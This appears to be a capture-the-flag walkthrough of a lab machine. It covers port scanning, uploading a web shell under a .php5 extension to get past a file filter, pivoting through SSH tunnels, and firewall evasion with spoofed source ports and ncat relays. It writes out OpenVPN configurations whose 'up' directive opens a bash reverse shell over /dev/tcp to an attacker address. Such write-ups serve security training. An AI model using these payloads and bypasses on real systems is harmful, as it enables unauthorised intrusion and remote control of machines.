PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 a6:9d:0f:7d:73:75:bb:a8:94:0a:b7:e3:fe:1f:24:f4 (RSA) | 256 2c:7c:34:eb:3a:eb:04:03:ac:48:28:54:09:74:3d:27 (ECDSA) |_ 256 98:42:5f:ad:87:22:92:6d:72:e6:66:6c:82:c1:09:83 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn't have a title (text/html; charset=UTF-8). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Pwn
After updating the hosts file with the sparklays.com association with gobuster we found nothing but just appending sparklays to the root directory:
The upload form accepts text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8, the name of the uploaded file is not changed and it’s accessible on the /design/uploads folder.
It should be possible to upload a web shell and to avoid server side checking the generated file should be recognized as a PNG image.
Once uploaded the file it’s accessible but since the extension if PNG no command is accepted: the web server do not execute files with no PHP extension. Uploading a PHP file the server returns an error:
Another attempt is to upload a file with php5 extension. The file is successfully uploaded and readable in /design/uploads.
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 00:50:56:b9:5e:63 brd ff:ff:ff:ff:ff:ff inet 10.10.10.109/24 brd 10.10.10.255 scope global ens33 valid_lft forever preferred_lft forever inet6 dead:beef::250:56ff:feb9:5e63/64 scope global mngtmpaddr dynamic valid_lft 85856sec preferred_lft 13856sec inet6 fe80::250:56ff:feb9:5e63/64 scope link valid_lft forever preferred_lft forever 3: virbr0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000 link/ether fe:54:00:17:ab:49 brd ff:ff:ff:ff:ff:ff inet 192.168.122.1/24 brd 192.168.122.255 scope global virbr0 valid_lft forever preferred_lft forever 4: virbr0-nic: <BROADCAST,MULTICAST> mtu 1500 qdisc pfifo_fast state DOWN group default qlen 1000 link/ether 52:54:00:ff:fd:68 brd ff:ff:ff:ff:ff:ff 5: vnet0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master virbr0 state UNKNOWN group default qlen 1000 link/ether fe:54:00:17:ab:49 brd ff:ff:ff:ff:ff:ff inet6 fe80::fc54:ff:fe17:ab49/64 scope link valid_lft forever preferred_lft forever 6: vnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master virbr0 state UNKNOWN group default qlen 1000 link/ether fe:54:00:3a:3b:d5 brd ff:ff:ff:ff:ff:ff inet6 fe80::fc54:ff:fe3a:3bd5/64 scope link valid_lft forever preferred_lft forever 7: vnet2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master virbr0 state UNKNOWN group default qlen 1000 link/ether fe:54:00:e1:74:41 brd ff:ff:ff:ff:ff:ff inet6 fe80::fc54:ff:fee1:7441/64 scope link valid_lft forever preferred_lft forever 8: vnet3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master virbr0 state UNKNOWN group default qlen 1000 link/ether fe:54:00:c6:70:66 brd ff:ff:ff:ff:ff:ff inet6 fe80::fc54:ff:fec6:7066/64 scope link valid_lft forever preferred_lft forever
To run a port-scan on the subnet 192.168.122.1/24nmap is required and can be uploaded with scp nmap dave@10.10.10.109:/tmp/nmap. The binary is taken from https://github.com/andrew-d/static-binaries.
The port-scan showed another host with SSH and a web-server. Using SSH it’s possible to pivot the remote host ssh -f -N dave@10.10.10.109 -L 8080:192.168.122.4:80
The page shows 2 links to configure a DNS and a OpenVPN service.
The page seems to accept an OpenVPN configuration; this can be used to execute a reverse shell on the target machine:
1 2 3 4 5
remote 192.168.122.1 dev tun nobind script-security 2 up '/bin/bash -c "bash -i > /dev/tcp/10.10.XX.XX/9998 0<&1"'
But no connection is received on the local machine because the reverse shell needs to be opened in the SSH session (forwarding). Uploading ncat on the machine with scp can be used to start a listener and the code for the VPN configuration is:
1 2 3 4 5
remote 10.10.10.10 dev tun nobind script-security 2 up '/bin/bash -c "bash -i > /dev/tcp/192.168.122.1/3487 0<&1"'
Once updated the file and tested the OpenVPN config it’s possible to read the user flag in the DNS container.
Again in /home/dave there is a ssh file containing another pair of credentials for SSH:
In /etc/hosts there is an entry for a Vault since this container can communicate with another subnet:
192.168.5.2 Vault
In this host (192.168.122.4) dave can use sudo so it’s possible to get a root shell but no flag is found and the host 192.168.5.2 is not reachable.
After some basic enumeration (LinEnum and gimmecredz) a connection to the 192.168.5.2 host can be opened using nmap and ncat.
Jul 17 16:49:01 DNS sshd[1912]: Accepted password for dave from 192.168.5.2 port 4444 ssh2 Jul 17 16:49:02 DNS sshd[1943]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user Jul 17 16:49:02 DNS sshd[1943]: Disconnected from 192.168.5.2 port 4444 Jul 17 17:21:38 DNS sshd[1560]: Accepted password for dave from 192.168.5.2 port 4444 ssh2 Jul 17 17:21:38 DNS sshd[1590]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user Jul 17 17:21:38 DNS sshd[1590]: Disconnected from 192.168.5.2 port 4444 Jul 17 21:58:26 DNS sshd[1171]: Accepted password for dave from 192.168.5.2 port 4444 ssh2 Jul 17 21:58:29 DNS sshd[1249]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user Jul 17 21:58:29 DNS sshd[1249]: Disconnected from 192.168.5.2 port 4444 Jul 24 15:06:10 DNS sshd[1466]: Accepted password for dave from 192.168.5.2 port 4444 ssh2 Jul 24 15:06:10 DNS sshd[1496]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user Jul 24 15:06:10 DNS sshd[1496]: Disconnected from 192.168.5.2 port 4444 Jul 24 15:06:26 DNS sshd[1500]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.5.2 user=dave Jul 24 15:06:28 DNS sshd[1500]: Failed password for dave from 192.168.5.2 port 4444 ssh2 Jul 24 15:06:28 DNS sshd[1500]: Connection closed by 192.168.5.2 port 4444 [preauth] Jul 24 15:06:57 DNS sshd[1503]: Accepted password for dave from 192.168.5.2 port 4444 ssh2 Jul 24 15:06:57 DNS sshd[1533]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user Jul 24 15:06:57 DNS sshd[1533]: Disconnected from 192.168.5.2 port 4444 Jul 24 15:07:21 DNS sshd[1536]: Accepted password for dave from 192.168.5.2 port 4444 ssh2 Jul 24 15:07:21 DNS sshd[1566]: Received disconnect from 192.168.5.2 port 4444:11: disconnected by user Jul 24 15:07:21 DNS sshd[1566]: Disconnected from 192.168.5.2 port 4444 Sep 2 15:07:51 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/nmap 192.168.5.2 -Pn --source-port=4444 -f Sep 2 15:10:20 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 1234 --sh-exec ncat 192.168.5.2 987 -p 53 Sep 2 15:10:34 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 3333 --sh-exec ncat 192.168.5.2 987 -p 53
This log shows that dave on September 2 executed a list of commands. This statements are useful to open the port 987 of the remote host Vault since the firewall only accepts connection from port 4444.. Running /usr/bin/nmap 192.168.5.2 -Pn --source-port=4444 -f will check if the port 987 is open on the remote host (port knock?) with source port 4444.
If the port is open it’s possible to trigger a connection using the ncat command:
